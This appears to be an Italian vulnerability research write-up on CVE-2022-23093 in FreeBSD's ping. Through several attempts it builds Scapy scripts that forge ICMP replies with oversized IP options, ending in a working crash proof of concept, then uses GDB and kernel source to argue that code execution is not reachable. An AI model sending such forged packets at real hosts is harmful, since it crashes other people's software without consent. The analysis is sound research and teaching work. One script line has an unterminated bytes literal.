# ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
icmp = ICMP(type=3, code=1) # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)
quoted_packet = packet["IP"]/packet["ICMP"]
icmp_reply = eth/ip/icmp/quoted_packet
sendp(icmp_reply, iface="vmnet8")
sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)
Come si può vedere da Wireshark, l'effetto è quello sperato, cioè un pacchetto ben formato, con header IP di lunghezza 60 byte (20 header IP base + 40 IP Options) e la possibilità di utilizzare fino a 38 byte senza limitazioni per sfruttare l'overflow. Sfortunamente tutte le Options vengono eliminate completamente quando il pacchetto arriva a ping e la lunghezza dell'header ricalcolata.
Tentativo 2: NOP ed EOOL
La prima ipotesi è stata che una Options non valida non è ammessa (nonostante Wireshark la mostri correttamente), quindi approfondendo le possibili Options sulla RFC791 (da pagina 15), notiamo che tra tutte le possibili Options, le uniche composte da un solo byte sono EOOL (End of Options List, 0x00) e NOP (No Operation, 0x01). Scegliamo di utilizzare queste in quanto più semplici e perché non necessitano di inserire dati secondo un formato specifico.
Proviamo ad aggiungere, su 40 byte totali, 39 NOP e 1 EOOL al nostro script:
#!/usr/bin/env python
from scapy.all import *
def reply_ping(packet):
eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
# IP Options are: 39 NOP + 1 End of Options List (EOOL)
ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=[IPOption(b'\x01'*39 + b'\x00)])
icmp = ICMP(type=3, code=1) # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)
quoted_packet = packet["IP"]/packet["ICMP"]
icmp_reply = eth/ip/icmp/quoted_packet
sendp(icmp_reply, iface="vmnet8")
sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)
Il fatto interessante è che anche in questo caso il pacchetto è ben formato e tutte le option e la dimensione dell'header IP sono corretti per triggherare la vulnerabilità e riusciamo a vedere questo da Wireshark. Tuttavia utilizzando il debugger su ping ci accorgiamo di nuovo che il pacchetto arriva, ma senza le IP Options e con la lunghezza dell'header ricalcolata.
Analizzando meglio l'esecuzione di ping pare che il pacchetto arrivi direttamente in questo modo, quindi non è l'utility stessa ad eliminare le Options, ma qualche altro attore esterno. Wireshark ci avverte che una sequenza di più di 4 NOP può essere rimossa da alcuni router.
Tentativo 3: Record-Route
Con il terzo tentativo cerchiamo di risolvere due diverse problematiche:
- utilizzare delle Options valide che possano eventualmente arrivare a destinazione
- utilizzare delle Options valide che permettano anche l'utilizzo di un payload arbitrario
Iniziamo cercando di creare una nuova lista di IP Options che non siano una sequenza di NOP. Per capire meglio il funzionamento di tutte le Options disponibili diamo un'occhiata a questo incredibilmente chiaro materiale didattico dell'università lettone ISMA.
Tra tutte le possibili Options valide, una in particolare sembra fare al caso nostro: Record-Route. Questa Option serve per memorizzare la lista dei router che hanno gestito il pacchetto, con un massimo di 9 indirizzi IP.
Il valore di Pointer è un intero usato come offset che punta alla prima voce disponibile dove poter inserire un indirizzo IP.
Il mittente del pacchetto crea dei campi vuoti dove inserire gli indirizzi IP. Quando il pacchetto viene inviato, tutti i campi sono vuoti. Il campo del puntatore ha un valore di 4 e punta al primo campo vuoto.
Quando il pacchetto è in viaggio, ogni router che lo elabora confronta il valore del puntatore con il valore della lunghezza della Option. Se il valore del puntatore è maggiore del valore della lunghezza, la Option è piena e non vengono apportate modifiche. Tuttavia, se il valore del puntatore non è superiore al valore della lunghezza, il router inserisce il proprio indirizzo IP in uscita nel campo vuoto successivo e aggiorna il puntatore.
Facendo i conti, utilizzando Record-Route otteniamo una Option con lunghezza totale di 39 byte (1 byte tipo, 1 byte lunghezza, 1 byte pointer, 9 indirizzi IPv4 da 4 byte ciascuno). Per sfruttare al massimo i 40 byte a disposizione possiamo sfruttare quello che abbiamo imparato dal tentativo precedente, cioè possiamo:
- Inserire un EOOL alla fine della sequenza
- Inserire un NOP prima della Option Record-Route
Scegliamo la seconda opzione in quanto l'unica che ci permette di avere il pieno controllo dei byte della sequenza dal quinto in poi.
Il payload da inviare può quindi essere facilmente costruito in questo modo:
options = [
# NOP (to avoid leading zero byte)
IPOption(b'\x01'),
# Record-Route
IPOption(b'\x07\x27\x28' + payload),
]
Particolare attenzione è da porre al fatto che "payload" debba essere di lunghezza 36 byte, in modo che l'intera Option sia lunga 40 byte, e che il valore di "pointer" sia sufficientemente grande da fare in modo che il payload non venga modificato lungo il percorso.
Tutto chiaro e lineare, se non fosse che anche questa volta, nessun payload raggiunge ping durante la sua esecuzione.
Ricercare l'origine del problema
Sembra chiaro a questo punto che il problema per cui le Options non raggiungono ping durante la sua esecuzione non sono da ricercare nella validità delle Options stesse, ma in un passaggio precedente, verosimilmente nell'elaborazione del pacchetto da parte dello stack network di FreeBSD.
Delle ricerche mirate in tal senso dimostrano quanto appena detto, in particolare possiamo vedere il codice del file netinet/ip_icmp.c del kernel FreeBSD. Per semplicità riportiamo di seguito un estratto della funzione icmp_input()
che si occupa di processare i pacchetti ICMP ricevuti:
/*
* Process a received ICMP message.
*/
int
icmp_input(struct mbuf **mp, int *offp, int proto)
{
// ...
switch (icp->icmp_type) {
case ICMP_UNREACH:
switch (code) {
// ...
case ICMP_UNREACH_HOST:
// ...
code = PRC_UNREACH_NET;
break;
// ...
}
goto deliver;
// ...
deliver:
// ...
ip_stripoptions(m);
// ...
/*
* The upper layer handler can rely on:
* - The outer IP header has no options.
* ...
Il nome della funzione ip_stripoptions()
è piuttosto autoesplicativo, ma per i più curiosi la sua implementazione si trova nel file netinet/ip_options.c ed è quella seguente:
/*
* Strip out IP options, at higher level protocol in the kernel.
*/
void
ip_stripoptions(struct mbuf *m)
{
struct ip *ip = mtod(m, struct ip *);
int olen;
olen = (ip->ip_hl << 2) - sizeof(struct ip);
m->m_len -= olen;
if (m->m_flags & M_PKTHDR)
m->m_pkthdr.len -= olen;
ip->ip_len = htons(ntohs(ip->ip_len) - olen);
ip->ip_hl = sizeof(struct ip) >> 2;
bcopy((char *)ip + sizeof(struct ip) + olen, (ip + 1),
(size_t )(m->m_len - sizeof(struct ip)));
}
Da quello che vediamo, quindi, quando il pacchetto ricevuto è di errore, in particolare tutti i sottotipi del tipo ICMP Unreachable, allora le Options vengono eliminate direttamente dal kernel. Effettivamente finora per realizzare la PoC è stato utilizzato l'ultimo script prodotto che genera proprio un messaggio di tipo ICMP Host Unreachable. È ragionevole pensare che basti sostituire il pacchetto di risposta con una semplice ICMP echo-reply per ricevere correttamente le Options durante l'esecuzione di ping.
Crash PoC
In base alle analisi fatte decidiamo di sostituire il codice dello script in modo da rispondere con un pacchetto ICMP echo-reply e utilizziamo come Options il payload realizzato nel terzo tentativo (potevamo utilizzare anche quello del primo tentativo in modo equivalente):
#!/usr/bin/env python
from scapy.all import *
def reply_ping(packet):
payload = [
# NOP (to avoid leading zero byte)
IPOption(b'\x01'),
# Record route
IPOption(b'\x07\x27\x28\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'),
]
eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
# using random ID to make ping go soon on a return statement
icmp = ICMP(type=0, id=0xffff, seq=packet['ICMP'].seq)
data = b"\x42"*16
icmp_reply = eth/ip/icmp/data
sendp(icmp_reply, iface="vmnet8")
sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)
Eseguendo lo script e analizzando l'esecuzione di ping con GDB otteniamo effettivamente l'effetto sperato, cioè riceviamo correttamente il pacchetto di risposta con le Options.
In più mandando avanti l'esecuzione vediamo che il comando ping si interrompe a causa di un crash, quindi lo script appena realizzato è a tutti gli effetti una crash PoC per la CVE-2022-23093.
Exploit
Considerazioni iniziali
Partiamo dalla crash PoC per fare un exploit funzionante (se possibile). La prima cosa da notare è che la crash PoC non genera un crash a causa della sovrascrittura del valore che viene poi utilizzato nel registro RIP (Instruction Pointer), ma perché interviene la protezione stack protector, cioè l'overflow sovrascrive lo stack canary, quindi viene inviato un segnale SIGABRT
(abort).
Cosa stiamo sovrascrivendo?
Analizzando con gdb l'esecuzione del codice risulta chiaro che i 40 byte di overflow vengono subito sovrascritti dall'istruzione:
memcpy(&icp, buf + hlen, MIN((ssize_t)sizeof(icp), cc));
icp
è dichiarata all'inizio di pr_pack()
subito prima di ip
, quindi nello stack sarà subito dopo. Con la precedente riga di codice all'indirizzo di icp
viene copiato il pacchetto ICMP.
La prima parte dell'overflow non viene toccata (i byte fissi delle IP Options), poi i successivi 8 byte sono sovrascritti dall'header ICMP, poi vengono sovrascritti tanti byte, quanti sono i dati nel pacchetto ICMP, per poi finire con altri 12 byte non sovrascritti.
Controllare l'Instruction Pointer (RIP)
Supponendo di poter sovrascrivere l'indirizzo di ritorno della funzione, l'obiettivo sarebbe eseguire l'istruzione return
prima possibile; nello script, infatti, era già stato inserito un ID di sequenza del pacchetto ICMP echo-reply diverso da quello della richiesta per forzare questo comportamento grazie al seguente estratto:
/* Now the ICMP part */
cc -= hlen;
memcpy(&icp, buf + hlen, MIN((ssize_t)sizeof(icp), cc));
if (icp.icmp_type == icmp_type_rsp) {
if (icp.icmp_id != ident)
return; /* 'Twas not our ECHO */
Per arrivare a forzare la sovrascrittura dell'indirizzo di ritorno della funzione però è necessario prima sovrascrivere tutte le variabili nello stack per poi arrivare alla fine del frame. Vediamo come si compone lo stack:
static void
pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)
{
struct in_addr ina;
u_char *cp, *dp, l;
struct icmp icp;
struct ip ip;
// ...
Dato che lo stack cresce verso l'alto significa che se noi controlliamo l'overflow da subito dopo ip
per un totale di 40 byte allora scriviamo 40 byte a partire dall'indirizzo di icp
.
In realtà abbiamo visto che icp
inizia 4 byte dopo la fine di ip
; questo può essere dovuto al fatto che vengono aggiunti dei byte extra per far si che le variabili siano allineate a multipli di 2 in memoria. Infatti:
// &ip + sizeof(ip)
0x7ffffffee5a8 + 0x14 = 0x7FFFFFFEE5BC
// &icp - (&ip + sizeof(ip)) != 0
0x7FFFFFFEE5C0 – 0x7FFFFFFEE5BC = 0x4
Come si può vedere, infatti, abbiamo esattamente un padding di 4 byte, che sono i 4 byte che non venivano sovrascritti dalla memcpy
di icp
.
Questo significa che abbiamo ancora 36 byte per sovrascrivere icp
, l
, gli indirizzi di dp
e cp
, la struttura ina
e abbiamo bisogno che a questo punto avanzino ancora dei byte.
Usiamo GDB per calcolare velocemente la dimensione delle strutture:
p sizeof(struct icmp)
$1 = 0x1c # = 28
p sizeof(struct in_addr)
$2 = 0x4 # = 4
cp
e dp
essendo puntatori sappiamo già che occupano 8 byte ciascuno, mentre l
è un u_char
(unsigned char
), quindi occupa 1 byte.
In totale, quindi, a meno di altri byte di allineamento, dobbiamo sovrascrivere 28 + 4 + 8 + 8 + 1 = 49 byte.
Questo significa che non abbiamo abbastanza byte per poter controllare RIP. Tuttavia otteniamo un crash per via della sovrascrittura di 4 degli 8 byte dello stack canary, che però si trova esattamente dopo le variabili e prima del "return address". Quindi significa che in realtà dei 40 byte totali in overflow ne utilizziamo 36 per sovrascrivere le variabili e gli ultimi 4 per sovrascrivere lo stack canary.
Ma dove sono finiti gli altri 13 byte? Probabilmente il compilatore ha eseguito delle ottimizzazioni per cui ha gestito alcuni dati utilizzando dei registri invece dello stack. Questo non avverrebbe se il binario fosse stato compilato con il flag -O0
che disabilita le ottimizzazioni.
Possiamo verificare facilmente questa teoria guardando il codice ASM relativo all'uso delle variabili in questione:
Cosa significa questo? Significa che fintantoché il binario ping è compilato utilizzando la protezione dello stack tramite il canary, non è possibile in alcun modo sovrascrivere abbastanza byte per arrivare a ottenere il controllo dell'indirizzo di ritorno, quindi del registro RIP.
Tuttavia se guardiamo l'immagine seguente è chiaro che se non ci fosse tale protezione, i 4 byte che sovrascriveremmo sarebbero esattamente quelli dell'indirizzo di ritorno:
Quindi potremmo prendere il controllo del processo portandolo ad eseguire qualunque indirizzo eseguibile di soli 4 byte del tipo 0x00000000XXXXXXXX (dove le X sono sotto il nostro controllo), ma questo significa che possiamo saltare solamente su indirizzi del binario ping e non su librerie esterne:
E di questi indirizzi possiamo prendere solamente quelli eseguibili:
aslr
ASLR is currently disabled
help aslr
View/modify the ASLR setting of GDB. By default, GDB will disable ASLR when it starts the process. (i.e. not attached). This command allows to change that setting.
Syntax: aslr [(on|off)]
Si può ottenere RCE?
A questo punto, a scopo puramente didattico, quello che possiamo fare è disabilitare lo stack canary e vedere se è possibile ottenere RCE sfruttando qualche gadget nella sezione .text
di ping considerando che possiamo inserire anche dei dati da referenziare nello stack sia sfruttando l'overflow, sia sfruttando il campo dati del pacchetto ICMP.
Per disabilitare lo stack canary aggiungiamo questa riga nel Makefile:
CFLAGS+=-fno-stack-protector
Ricompiliamo e installiamo con:
make clean
make
make install
In realtà questa modifica non sembra avere effetto. Analizzando meglio il comando risultante dall'esecuzione di make
vediamo che da qualche parte viene forzato il flag -fstack-protector-strong
:
Cerchiamo la provenienza all'interno dei sorgenti che potrebbero essere inclusi durante la compilazione:
L'opzione -no-common
nel Makefile suggerisce che il file incriminato sia l'ultimo, quindi rimuoviamo il flag -fstack-protector-strong
aggiungendo al Makefile di ping la seguente riga:
SSP_CFLAGS=-fno-stack-protector
Rieseguendo la compilazione vediamo che il tutto sembra funzionare.
Quando avviamo GDB però ci accorgiamo che lo stack fino all'indirizzo di ritorno è cresciuto!
Chiedendo a PizzaGPT (ChatGPT era ancora bloccato durante le analisi) il motivo di questo comportamento ci viene detto che "quando lo stack protector è abilitato, il compilatore applica alcune ottimizzazioni aggiuntive per rendere il codice più efficiente e veloce". È ragionevole pensare che vengano aggiunte queste ottimizzazioni per compensare il fatto che lo stack protector aggiunge overhead.
Ulteriori interrogazioni a PizzaGPT smentiscono la sua stessa affermazione iniziale, quindi verifichiamo empiricamente.
Guardando i flag aggiunti in fase di compilazione risulta di interesse solamente -O2
, ma che comunque rimane attivo anche senza stack protector.
Per essere sicuri di escludere che si tratti di un flag del compilatore lasciamo attivo lo stack protector e aggiungiamo __attribute__((__no_stack_protector__))
alla funzione pr_pack()
per forzare a non inserire lo stack canary. Effettivamente il canary non viene inserito, ma di nuovo le variabili sono tutte sullo stack.
Conclusioni
Questo significa che senza stack protector non siamo in grado di sovrascrivere abbastanza byte per arrivare all'indirizzo di ritorno, mentre con lo stack protector al più arriviamo a sovrascrivere il canary. Date queste premesse possiamo affermare che non è possibile sfruttare la CVE-2022-23093 per ottenere RCE.